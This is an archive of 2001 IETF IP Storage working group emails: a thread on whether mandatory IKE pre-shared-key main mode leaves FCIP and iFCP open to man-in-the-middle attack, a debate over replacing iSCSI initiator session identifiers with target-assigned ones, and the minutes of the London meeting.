iFCP Keying Problem Both FCIP and iFCP intend to require: - IKE with pre-shared keys MUST implement - IKE with public-key based keys MAY implement - IKE Main Mode MUST implement - IKE Aggressive Mode MAY implement That's not acceptable because the result of combining the two mandatory (MUST) mechanisms is vulnerable to a man-in-the-middle attack. Clarification: I realize that in the (main mode, pre-shared key) variant the endpoints' identities can only be IP addresses due to a chicken-and-egg problem (and rfc2409 confirms this). I also realize that this variant is useless in the presence of DHCP-assigned IP addresses (which is not our case, as we only work with static IP addresses). A DH is obviously vulnerable to a MIM attack, but a DH + pre-shared key intuitively shouldn't. And I don't think we worry about identities being revealed. What am I missing? (rfc2409 has single-handedly neutralized the few brain cells that I've left). -franco Franco Travostino, Director Content Internetworking Lab Advanced Technology Investments Nortel Networks, Inc. 600 Technology Park Billerica, MA 01821 USA Tel: 978 288 7708 Fax: 978 288 4690 email: travos@nortelnetworks.com ------_=_NextPart_001_01C137F1.EE8BCD30 Content-Type: text/html; charset="iso-8859-1"

> I realize that in the (main mode, pre-shared key) variant
> the endpoints' identities can only be IP addresses due to
> a chicken-and-egg problem (and rfc2409 confirms this).
> I also realize that this variant is useless in the presence
> of DHCP-assigned IP addresses (which is not our case, as
> we only work with static IP addresses).
 
I'm not sure I believe the parenthetical comment about only
working with static IP addresses.  I suspect a "MUST NOT use
DHCP-assigned IP addresses" restriction wouldn't make it
through the IESG.
 
> A DH is obviously vulnerable to a MIM attack, but a
> DH + pre-shared key intuitively shouldn't.
 
Suppose the MIM is part of the group that has the pre-shared key.
The MIM attack on DH is once again possible.
 
> And I don't think we worry about identities being revealed.
 
I agree, otherwise I wouldn't be suggesting Aggressive Mode
(which reveals identities) as a MUST.
 
--David
-----Original Message-----
From: Franco Travostino [mailto:travos@nortelnetworks.com]
Sent: Friday, September 07, 2001 7:15 PM
To: Black_David@emc.com; ips@ece.cmu.edu
Subject: Re: FCIP and iFCP Keying Problem


Both FCIP and iFCP intend to require:

        - IKE with pre-shared keys MUST implement
        - IKE with public-key based keys MAY implement
        - IKE Main Mode MUST implement
        - IKE Aggressive Mode MAY implement

That's not acceptable because the result of combining
the two mandatory (MUST) mechanisms is vulnerable to a
man-in-the-middle attack.

Clarification:

I realize that in the (main mode, pre-shared key) variant the endpoints' identities can only be IP addresses due to a chicken-and-egg problem (and rfc2409 confirms this). I also realize that this variant is useless in the presence of DHCP-assigned IP addresses (which is not our case, as we only work with static IP addresses). A DH is obviously vulnerable to a MIM attack, but a DH + pre-shared key intuitively shouldn't. And I don't think we worry about identities being revealed. What am I missing? (rfc2409 has single-handedly neutralized the few brain cells that I've left).

-franco


Franco Travostino, Director Content Internetworking Lab
Advanced Technology Investments
Nortel Networks, Inc.
600 Technology Park
Billerica, MA 01821 USA
Tel: 978 288 7708 Fax: 978 288 4690
email: travos@nortelnetworks.com

------_=_NextPart_001_01C137F1.EE8BCD30-- From owner-ips@ece.cmu.edu Fri Sep 7 21:27:32 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA03146 for ; Fri, 7 Sep 2001 21:27:32 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f87Nbld29472 for ips-outgoing; Fri, 7 Sep 2001 19:37:47 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f87NbjP29466 for ; Fri, 7 Sep 2001 19:37:45 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id TAA93860; Fri, 7 Sep 2001 19:35:30 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f87NbiZ146026; Fri, 7 Sep 2001 17:37:44 -0600 Importance: Normal Subject: RE: iSCSI: ISIDs To: Black_David@emc.com, ips@ece.cmu.edu From: "Jim Hafner" Date: Fri, 7 Sep 2001 16:37:42 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 04:37:43 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David, OK, I see where you're going. The SCSI Initiator Port is created by the initiator side and has an identity defined internal to that implementation (say, the pointer to the session structure). What the target's device server uses is the 'identifier' the iSCSI layer assigns to that SCSI Initiator Port, namely the . Let's see where this goes. First, it means we don't really have "name" (as defined by SCSI/SAM) for the SCSI initiator Port, but we do have well-defined "port identifier" (the device server's identifier mentioned above). I read SAM as saying that the name is an intrinsic property of the SCSI Initiator Port. So, we don't have a name because haven't associated an intrinsic property. Now, SCSI has two notions, port identifier (think FC S_ID, as an address) and port name (think FC WWportname). The current wording of SCSI says that it's the port identifier that is the thing that identifies the owner of a reservation (e.g.) [in the context of a given SCSI target port]. There's extra language to deal with the identifier for a given named port changing by events in the service delivery subsystem (think FC network reconfiguration). Proposed new text would make this more clear. The named port would own the reservation independent of identifier, *provided* a name was available for the initiator port. So, where we're going here is that for iSCSI, there would be no name for the SCSI initiator port, just the identifier (as assigned by the target). So long as the target was happy with the association of that identifier with the SCSI initiator port (that it didn't think the identifier somehow moved to a different actual SCSI initiator port), then recovery of state would be as you suggest -- the initiator just re-establishes the session by requesting the SSID=TSID. It's an open question that if the session collapses or even is politely logged out, whether the TSID identifier and all the resources associated with it are cleared or not. I would guess not, but I'm not sure. Also, there's cleanup issues on TSID (when does the target decide it can recycle a TSID? when there are no persistent state to track for it?). So far so good, I think. Now comes a slight kicker! There is proposed language for SCSI that would allow a device server to associate a reservation with a SCSI initiator port *independent of the SCSI target port*, so I could have a path from one SCSI Initiator port through each SCSI target port and the reservation state would be equivalent over all the paths (sort of I_*_L nexus). This new language is based on one fundamental principle, that is, that the SCSI initiator port has a world wide unique persistent intrinsic NAME on which to base the unambiguous recognition of that SCSI Initiator Port independent of the target port. In other words, with a name, the device server can recognize the same initiator port through any of its target ports and so grant equivalent access rights. Remove the name from iSCSI's SCSI Initiator Port (which you are effectively doing no matter how you look at it), and you can not take advantage of this proposal's new functionality. This is the kind of functionality that many people not intimate with SCSI assumed was already there (and in fact there were assumptions that reservations went so far as to span initiator ports). Unfortunately, that's not the model in SCSI. This pending proposal is an attempt to get to that functionality defined within the parameters defined by SAM-2. Note that with the initiator generated ISID as part of the SCSI Initiator Port Name (it's intrinsic), we had the ability to reuse that same ISID for each target portal group (without problem) and get this equivalent reservation state across all those target portal groups (aka, SCSI Target Ports). I don't know if that is too much of a monkey wrench in the works, but it bothers me some. Jim Hafner Black_David@emc.com on 09/07/2001 03:41:43 pm To: Jim Hafner/Almaden/IBM@IBMUS, ips@ece.cmu.edu cc: Subject: RE: iSCSI: ISIDs Jim, > 1) I think there's some confusion on what Michael's suggestion really is. > Some seem to think that the idea *replace* the SSID=ISID||TSID with just a > 32bit TSID (so there is no ISID component at all). The other is that the > target provides SSID but it is still viewed as two components (and each > component has some role to play). > Can we get this clarified? I was under the assumption that it's the first > option here. > > Your note about 32bit TSID of which part of the name was the portal group > tag made me think that you're in the first camp. But your comment below > about makes me think you're in the second camp. I'm in the first camp. The "" text was meant to refer to the current situation in which that pair is the visible identity of the SCSI Initiator Port. > 2) I don't understand your comment below: > > Do we actually need an externally visible identifier for the SCSI > >Initiator Port? There's clearly a session endpoint on the Initiator > >side that corresponds to the , and the > >implementation is clearly able to identify it internally to keep its > >sessions straight, and this identification will be (at least implicitly) > >visible through a management interface that looks at all the open sessions > >on a host or device. In essence, I'm suggesting keeping the current > >mapping, but allowing part of the endpoint identifier to not be > >visible in the protocol. > Where is the ISID coming from (see the question above)? What part of the > endpoint identifier is NOT visible? The ISID goes away, and what replaces it could be the TSID (which you have problems with) or something internal to the Initiator implementation ... > There are lots of ways for an implementation to identify internally it's > sessions, and need not at all rely on any part of the SSID (e.g., my > connection structure contains a pointer to an open socket and a pointer > to a session structure, so any message on that socket must be related to > that session). The point being that my implementation doesn't have to > care at all about SSID. Yes, use something like that as the identifier for the session endpoint that gets mapped to the iSCSI Initiator Port. > Nobody has really asked for an 'externally visible identifier' for the SCSI > Initiator Port (at least I don't think I have directly). What I'm looking > for is the thing the SCSI device server (implicitly) uses to identify the > "I" in the I_T nexus. Good, that was the answer I was hoping for. > Up till now, SCSI/SAM has had a static hardware > identifier for that thing (parallel bus address, the FC nodename, etc.) > because there was a hardware component on which to bind the SCSI Initiator > Port. So, that name/identifier was an inherent component of the SCSI > Initiator Port implementation that was propogated *from the intiator side > to the target side* in protocol specific ways. My model(c) and what I > think you're suggesting says that we're allowing the iSCSI target to pass > to the iSCSI initiator the 'name' that the constructed SCSI Initiator Port > will/shall/must use. So, the naming authority is not on the initiator > side and the name doesn't flow from the initiator to the target, but is > reversed in both cases. Actually I'm suggesting something different. The Initiator implementation knows that it wants to create a session to the Target, and has a notion of that session when it sends the Login - this is well before the target has assigned a TSID. In essence, that internal notion of session is an implicit naming authority that avoids the concern about the iSCSI Initiator Port obtaining its identity from the Target - in essence the iSCSI Initiator Port has to exist in order to send the Login to the Target, and hence has a notion of identity independent of the Target to which it wants to connect because the iSCSI Initiator Port exists prior to establishment of that connection or assignment of the TSID to the session. [... Rest snipped, as I departed from your assumptions in the above paragraph ...] Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Fri Sep 7 21:28:04 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA03160 for ; Fri, 7 Sep 2001 21:28:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f880ANU01280 for ips-outgoing; Fri, 7 Sep 2001 20:10:23 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e34.bld.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f880AKP01270 for ; Fri, 7 Sep 2001 20:10:20 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e34.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id UAA21632; Fri, 7 Sep 2001 20:08:04 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f880AIZ246552; Fri, 7 Sep 2001 18:10:18 -0600 Importance: Normal Subject: RE: iSCSI:Target Centric ISID assignments To: Black_David@emc.com Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 7 Sep 2001 17:09:35 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/07/2001 06:10:17 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk David, I think you got the x bit wrong. It is used in error recovery when the session restart is needed. Not when you boot up. You also over started the case for CROSS system Recovery of Persistent Reserves. All that works as it does today. The only thing that is different is that the Cluster has a single Node Name. That said nothing about the Persistent Reserves, unless your proposal make that complicated in some way. Setting up a cluster to have a common iSCSI Initiator Node Name should work in your proposal and in the current way we do things. I do not think the TSID only is any simpler then the ISID and TSID, just different, and will cause more rework of the documentation. I am sure that Jim want to say why the Portal Tag is needed, so I will wait for that, but it sounds like target implementation on how it creates its TSID. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Black_David@emc.com on 09/07/2001 02:46:21 PM To: John Hufferd/San Jose/IBM@IBMUS, ips@ece.cmu.edu cc: Subject: RE: iSCSI:Target Centric ISID assignments John's description is actually over-complicated because: - The ISID either goes away or becomes a Target portal group number. - The session recovery mechanism that he portrays as added complexity already exists and isn't affected by presence or absence of the ISID. It doesn't seem to be well-documented in -07. Partitioning the TSID into Target Portal Group + ID within group makes it easy to figure out where to go to recover or blow away a session. Whether or not the Target Portal Group is used doesn't matter to the following description - the ISID vanishes from John's description, making things simpler, viz.: First Login: 1. Initiator contacts the target with TSID of zero. 2. Target assigns the SSID by filling in the TSID. 3. Initiator remembers the SSID=TSID somehow. 4. If a parallel Session is established (perhaps under a wedge driver) the same thing will happen -- Initiator sends TSID=0, and the Target will assign a different TSID, since it is keeping state on the TSIDs it has handed out to a specific iSCSI Initiator Node. This will be a different NEXUS not associated with any other session on that iSCSI Initiator Node. Note that the target has the option of keeping TSID state globally, so that TSID values are unique within a Target or a Target portal group. This is the Target implementer's choice, and can simplify session lookup. This particular comment applies independent of ISID removal, but is the reason why I mentioned the idea of expanding the TSID, as I can foresee problems with a 16 bit counter, but not with 24 or 32 bits. 5. If a Multiple Connection per Session was established, the NON leading connection will have the TSID filled in, and things will continue as currently documented. 6. If the Initiator goes down, and the parallel sessions need to re-establish the NEXUS they supply the TSID. 6a. If they don't have the original TSID, they send TSID=0, and the Target will establish a new session. The NEXUS that might have the Persistent Reserves is still bound to the previous Session. 6b. If the New session wants to keep working with the old Persistent Reserves, it needs explicitly blow-away the Reserves and Reclaim them (per normal) using the Persistent Reserves Command Set. 6c. If the TSID had been saved by the Initiator, and a logon is reissued, it can specify the TSID, and the Target should then know that a new session is starting. The target should match the TSID with any outstanding session it has. That is, the Target should either match it up the TSID with an old session (in some way), and continue, or it should Blow the OLD session away. David suggested a "Blow it away Bit". (This sounds like option A and B all over again.) Whether or not to have a "Blow it away Bit" vs. implicitly blowing away the old session vs. failing the login is Option A/B/C all over again. The X bit already has meaning in this context (for the 6c case the X bit has to be zero in this case because 6d uses it), and hence can't be reused here. It's now considerably safer to blow away old connections because a non-zero TSID only occurs on login when there was a previous session with that TSID and some sort of error recovery or action on that previous session is intended. All the scenarios in which a "wrong" ISID causes a session to be blown away incorrectly can't happen because the Initiator doesn't pick ISID values. 6d. If the ISID was saved but it took so long that the Target's session cleanup process, had thrown away the Old session, the Login just continues as it does today. The Initiator Session can determine if the session continued, and it has it previous reserves, or if a new session was created without the Reserves. Actual recovery and continuation of the session has to set the X bit. If X is set on a Login command, and there's no existing session to log into, then the Login has to fail in some fashion - I'm not sure that's documented at the moment, and I think it needs to be regardless of the course we take. So the Option here is to return an error message if there is no existing session. The Initiator will then need to understand this and somehow cause the reserves to be issued again. (Folks will say, that is what they do anyway so they will always do that, so don't worry about it.) (John's Comment: This is now starting to get complicated again.) Correct, but not relevant. This set of complications exists regardless of what we do about the ISID as they're inherent in the session case of Error Recovery and the use of the X-bit on Login. This is an existing session recovery mechanism, not something that gets added as a consequence of ISID removal. > 7. In the case that the Initiator has "lost its way" and want to start again, the initiator will Login with TSID=0. This is exactly case 6a above. John's case 7a can't happen. > OK, after looking at the above. It seems to me that we can have this > assignment of ISID by the Target System. (It is kind of acting like a third > party ISID assigner.) The rest of the documentation should be the same. Well, actually, it's simpler to get rid of the ISID and just use the TSID. For reasons that Jim Hafner can probably explain better than I can, using the ISID field to hold the Target portal group number on login helps tidy up some issues in that area (and it also makes it easy for an Initiator trying to recover or destroy an existing session to figure out exactly which target interfaces will know about that session vs. be clueless). > The issue of Option A or B is still with us. However, the issue of the > Rouge Initiator, that can not find its approprate ISID is solved. (Don't > you just love the emotive way I put that.) Keep in mind that the Rogue Initiator sure looks like a valid technical objection to the Option A that seems to be otherwise favored in list discussion. > Also the assignment of ISIDs is made easier for some implementations. > (However, the approach suggested by Jim Hafner seems simple enough.) It's certainly simple logic. The problem is that ISID assignment has to be coordinated across all interfaces on a single Initiator - between code from different vendors, administrative tools, and interaction with logic in the OS platform that may be trying to coordinate ISID assignment, there are many opportunities to get things wrong. If this doesn't scare you, John's notion of having to coordinate ISID assignment across all systems in a cluster because they share a common iSCSI Initiator Name should. FWIW, if the cluster example wants to recover session state (e.g., persistent reserves) across host system failures, it needs dynamic fault-tolerant ISID assignment across the entire cluster (that should really scare you) or elimination of ISIDs and ISID assignment (which is much simpler ;-) ). Thanks, --David > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Friday, September 07, 2001 4:54 PM > To: ips@ece.cmu.edu > Subject: > > > Let me see if I have everything together in the following > regarding the > TSID centric assignment of ISID. > > First Login: > 1. Initiator contacts the target with TSID of zero, and ISID of zero > 2. Target assigns the SSID by filling in the ISID and its own TSID. > 3. Initiator remembers the ISID somehow. > 4. If a parallel Session is establish (perhaps under a wedge > driver) the > same thing will happen -- Initiator sends TSID=0 and ISID=0, > except the > Target will assign a different ISID, since it is keeping > state on the ISIDs > it has handed out to a specific iSCSI Initiator Node. This will be a > different NEXUS not associated with any other session on that iSCSI > Initiator Node. > 5. If a Multiple Connection per Session was established, the > NON leading > connection will have the SSID (with TSID and ISID filled in), > and things > will continue as currently documented. > 6. If the Initiator goes down, and the parallel sessions need to > re-establish the NEXUS they come back with the TSID but may > or may not have > the approprate ISID (if they did not have a way to save it). > 6a. If no ISID was used in the Initiator Login, the Target will > re-establish a new session. The NEXUS that might have the Persistent > Reserves is still bound to the previous Session. > 6b. If the New session wants to keep working with the old Persistent > Reserves, it needs explicitly blow-away the Reserves and > Reclaim them (per > normal) using the Persistent Reserves Command Set. > 6c. If the ISID had been saved by the Initiator, and a logon > is reissued, > it can specify the ISID, and NO TSID, and the Target should > then know that > a new session is starting. The target should match the ISID with any > outstanding session it has. That is, the Target should > either match it up > the ISID with an old session (in some way), and continue, or > it should Blow > the OLD session away. David suggested a "Blow it away Bit". > (This sounds > like option A and B all over again.) > 6d. If the ISID was saved but it took so long that the > Target's session > cleanup process, had thrown away the Old session, the Login > just continues > as it does today. The Initiator Session can not really > determine if the > session continued, and it has it previous reserves, or if a > new session was > created without the Reserves. (Potential hitch.) So the > Option here is to > return an error message if there is no existing session. The > Initiator > will then need to understand this and somehow cause the reserves to be > issued again. (Folks will say, that is what they do anyway > so they will > always do that, so don't worry about it.) > (Comment: This is now starting to get complicated again.) > 7. In the case that the Initiator has "lost its way" and want to start > again, the initiator will Login with either the current > ISID, and TSID =0 > or with both =0. > 7a. Using the current ISID should cause the Initiator to > handle it like 6c > above. (Again, it sounds like the A, and B options). > 7b. If both ISID and TSID are zero, it looks like 6a above. > > OK, after looking at the above. It seems to me that we can have this > assignment of ISID by the Target System. (It is kind of > acting like a third > party ISID assigner.) The rest of the documentation should > be the same. > The issue of Option A or B is still with us. However, the issue of the > Rouge Initiator, that can not find its approprate ISID is > solved. (Don't > you just love the emotive way I put that.) Also the > assignment of ISIDs is > made easier for some implementations. (However, the approach > suggested by > Jim Hafner seems simple enough.) > > Now the discussion should be, did I miss something important, > and is the > change worth it > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > From owner-ips@ece.cmu.edu Fri Sep 7 22:58:56 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA06099 for ; Fri, 7 Sep 2001 22:58:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f880QXb02128 for ips-outgoing; Fri, 7 Sep 2001 20:26:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f880QVP02122 for ; Fri, 7 Sep 2001 20:26:31 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Sep 2001 20:26:25 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD725@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: Final London Minutes Date: Fri, 7 Sep 2001 20:19:49 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk A big "THANKS!" to Michael Smith from iReady for transcribing the missing pieces of the draft minutes from his recordings. A bunch of important pieces were filled in as a result. --David IP Storage (IPS) Working Group Minutes of London Meeting - August 6 and 7, 2001 ------------------------------------- -----> Monday, August 6 <--------- Administrivia and Agenda Bash - see bashed agenda. Discussion of IETF last call. Process will involve emailed comments directly to authors, so draft editors need to make sure author addresses (including email) are up to date. There is no formal process akin to a T10 or T11 letter ballot and comment resolution. -- Plugfest - Robert Russell, UNH Presentation included statistics on number of participants, versions used, etc. Testing of implementations against each other, a reference implementation, and a conformance test suite (latter two focused on Login). Many implementations did not do any Login, most who did only implemented 2 or 3 keys, DataPDULength, InitialR2T, ImmediateData were the most common. Login was a disaster - all kinds of things not done right, ignored, instability. Most systems wanted to go to full feature phase based on default login values rather than actually engage in negotiation. Testing also included conformance tests. Statistics are included on foils from Bob Russell. About half of initiators and targets failed to pass conformance tests, and were basically trying to get past key negotiation to full-feature phase. Set of 20 points were posted to mailing list, most have been dealt with (e.g., strings are null-terminated, not null-separated). See mailing list archives. Resolved on list - can Initiator stop short of max amount of unsolicited data? A: Initiator can do what it wants unless DataSequenceOrder=yes (default), since the target can not go back in the data stream to fetch missing data. A "Not enough unsolicited data" is being added for this situation. Open Issue - Simplification of Login. Separate security sub-phase, OpParamReset. Can operational parameters be exchanged before security phase? Login needs state diagram, specification of legal combinations and sequences. At least one implementation did perform error recovery, and one pair of implementations were able to establish a multiple connection session. -- iSCSI Login - Julian Satran, IBM Login Structure: Lots of parameters. List request for two phases - the two phases are currently implicit, separated by SecurityContextComplete, based on a design goal of minimizing number of handshakes, not programming complexity. Comments from audience that simpler is better. Complex things tend to have complex failure modes. Need to be careful about adding too many new handshakes as well as too much code. Programming complexity is a concern to those in the room. Also need to be careful about adding too many handshakes as this can lengthen boot times. Julian's Proposals: (1) SecurityContextComplete by itself in message exchange. (2) Should always have a security exchange. (3) Both phases explicit but optional. Discussion: Need a much more structured description. Has too much branching complexity at the moment. Two separate phases with defined transitions between them would help greatly. Discussion of whether to use SecurityContextComplete key to indicate end of security phase vs. bits in the command. Sense of the room is to continue to use the text key. The spec needs to include a state diagram (and transition table), and a much more organized (e.g., in one place) description of the login process. State in the command would help make it clear. The WG sense of the room was that explicitly indicating the login state (e.g., in security or operational negotiation phase) via a few bits of state in the command was preferred to requiring the participants to implicitly track the state (provides a check that things are where the participant thinks they are). Targets must be able to force security negotiation on an Initiator that wants to skip it. -- iSCSI Security - David Black IESG requirements as applied to IPS will make confidentiality and encryption mandatory to implement for iSCSI, FCIP, and iFCP. Discussion of topics in draft-black-ips-iscsi-security-00.txt (has since been revised to a -01 version). Security decisions will be made in interim meeting in Orange County at the end of August to allow the Fibre Channel folks (currently at T11) to be present since security for the FC encapsulations is likely to follow some of iSCSI's direction. Discussion of whether identity hiding is needed. No apparent need expressed. A related proposal to require the Initiator and Target names in the first Login message has lead to adoption of this as a requirement on the list. Discussion of external gateways. Security community in IETF is concerned that a "just use IPsec gateways" unbinds security from the protocol (could have an arbitrary network between the protocol and gateway) leading to an insecure "hard and crunchy on the outside" (firewalls, etc.), "soft and chewy on the inside" deployment approach. Security is REQUIRED because sooner or later, someone is going to take the protocols we specify and run them on the open Internet. Q: What about corporate firewalls? Will they block ESP traffic. A: If they do, have to sent iSCSI without ESP to the firewall or have the firewall terminate the ESP Security Association. (2) How does one get SPI values and keys from iSCSI negotiation into ESP? A: Manual key interface, which most IPsec implementations have. -- IKE and IPsec - William Dixon, Microsoft Preview of draft-aboba-ips-iscsi-security-00.txt. See that draft. There was also some general discussion of IPsec (how it works, what's available), the phenomenon of keys becoming weaker (easier to break) as a function of how much traffic they've been used for, and the NAT traversal work in progress in the ipsec WG. Use of IKE will be profiled (ips WG will select the portions to use), just as IPsec has been profiled (e.g., just ESP, no AH). -- Framing - Steph Bailey, Sandburst All specification of framing mechanisms is being taken out of the main iSCSI draft and will reside in draft-ietf-tsvwg-tcp-ulp-frame-00.txt. A -01 version should be coming in the near future. Two framing mechanisms are described in that draft: (1) Periodic Markers - modified receivers, but no modifications to sender's TCP stack. Probabilistic bound on required buffering, but much less than a window per active connection. Hardware will be complex. (2) PDU Alignment - modified receivers, modified senders to align PDUs to TCP segments. Cleanly bounded buffering, unless alignment fails. Modifications to TCP are needed to detect a middlebox that has resegmented and destroyed alignment. Each mechanism is applicable to different situations, hence both are in the tsvwg draft. Common interface to both mechanisms. iSCSI recommendations: - Remove marker annex and refer to tsvwg draft - Define negotiation for PDU alignment - Strongly encourage PDU alignment implementation (SHOULD). Summary of proposal on what iSCSI should require for framing: - Receivers can do nothing, PDU alignment, or all 3. Marker impl. requires PDU alignment framing. - Senders should implement all 3, MUST implement markers. These don't match because want receivers to call the shots. Markers are easy to implement on send, hard to implement on receive. There were no marker implementations at the plugfest. It was not possible to obtain rough consensus in the room on this proposal or a revised version of it presented the following day. Will have to be resolved on list starting from a reasonably detailed explanation of the rationale for these requirements from the framing folks. -- Error Recovery - Mallikarjun, HP Reality is somewhere between "Trust but verify" and "can't trust transport". Four levels of recovery - within-command, -connection, -session, and full session recovery. Only the last is required, others are options. Command counting is needed for both ordering AND flow control. Error recovery tools: - Header and Data digests - SNACK - Recovery R2T (negotiable) - Unsolicited NOP-IN (e.g., sequence fixup) - Retry (command replay, failover, and hole-plugging) Topic 1: SNACK issues (slide 8) Alternatives - Assign a CmdSN (deadlock issues) - Accept non-determinism [e.g., lost SNACK] (odds of loss are low) - Allow SNACK retransmit (may get data retransmit) - Define timer-based SNACK retransmit (Ouch!) - Drop SNACK Seems to be important for tapes (partial I/O recovery). Proposal: Keep SNACK, if we drop it we're betting on the TCP checksum (or the ESP MAC). Problem with moderate rate of checksum failure to detect errors ------> Tuesday <--------- SNACK discussion centered on the need for iSCSI error recovery for existing tape. Some current tape devices do things that make SCSI level recovery from a failed command impossible (e.g., send successful completion to write command before actually writing to the tape). There is a new tape command set in the works that will improve this situation by using absolute block addressing for tapes rather than the current relative addressing, but there's a need to deal with existing tape devices. Sense of the room - keep SNACK, keep it optional, keep it for existing tape because consequences of not having it are horrendous. Topic 2 - Error Recovery levels, one key to say which level rather than key per type of recovery. 0 would be required recovery, 1-4 are options up to command replay. Sense of the room - Adopt hierarchical approach to error recovery specification. Number of levels and order thereof to be worked out on list. Mallikarjun will send paragraphs to list describing each level, what it does over and above the one below it, and what features of iSCSI that it uses. There was a comment that some levels beyond level 0 in Mallikarjun's chart may need to be "MUST implement" to provide effective support for tape. Needs to be discussed on the list. --- Main Document - Julian Satran, IBM See slides for more details. NOP issue - NOP may close command window. Proposed changes: - Remove P bit. If there's data, DataSegment length indicates. - If task tag is valid, response is required (ITT valid = Initiator wants answer, TTT valid = Target wants answer, NOP-In cannot have both tags valid). In addition, the I bit must be set when immediate data is present Sense of room is to make these changes - objections should be sent to the list. Serialization Interlock; this is about being able to preserve command ordering in the presence of things like a CHECK CONDITION caused by a temporary queue full situation. The T10 advice that ACA is not the right solution has been accepted. Julian will follow this up with T10 at their September meeting. The alternative appears to be to use Unit Attention (which has changed in the past year to have properties more useful in this situation) as it only affects a single initiator. -- Simplification Ideas - David Black Four proposals resulting from a solicitation for "radical simplification" ideas on the list. 1] Eliminate Multiple Connection sessions - no real interest in pursuing this. 2] Login Templates - take up on list as part of general discussion of Login. This is about organizing all the login keys into a small number of sets where if one key from the set is present, all the keys must be present, and possibly requiring the keys to appear in a particular order. 3] Eliminate CRCs in favor of MACs - take up at interim meeting, although the data CRC was designed to protect against corruption in iSCSI proxies that a MAC would not protect against. 4] Eliminate Immediate data - take to list, at a minimum consider removing the ability to use both immediate and unsolicited data in the same command. -- Naming and Discovery - John Hufferd, IBM Specification pieces of N&D are now in main document. Want N&D to become an informational RFC. Sense of Room - approve this direction, N&D draft to become an informational RFC. IQN Uniqueness. This is about making sure that the new holder of a domain name doesn't define any iSCSI names that match ones defined by the old holder. Two choices: - Enterprise Number - Date (yyyy-mm) The Area Director commented that IANA is not set up to handle a large number of enterprise number allocation requests, making the second approach preferable. Sense of room - use date of assignment of domain name to naming authority. Details to be worked out and posted to list. Case Sensitivity - Currently case-sensitive. Now recommend NAMEPREP case-insensitivity, draft-ietf-idn-nameprep-05.txt. Use NAMEPREP in admin tools, byte-wise compare in implementations. The Area Director noted that the right thing to do was to allow the IDN WG to standardize NAMEPREP. If they abandon it, IPS could pick it up. Sense of room - Wire format is NAMEPREP'ed names, receivers do bytewise compare, admin tools MUST ensure that all names are in NAMEPREP format (i.e., iSCSI implementations don't have to check this). Send Targets issues - Bookmarks vs. Option 5 issue will go to the list. N&D team (Mark Bakke?) needs to generate summary of current alternatives to start discussion. Sense of room - "iscsi" target canonical name MUST NOT be used (reserved). Issue of whether to include Alias support in protocol. Room was approximately evenly split on this, hence the issue was taken to the list, where the first attempt to resolve it subsequently failed. -- iSNS - Josh Tseng, Nishan Relationship of SLP and iSNS: SLP for discovery, iSNS for active management. iSNS + SLP is better than SLP alone (SLP to discover iSNS, use 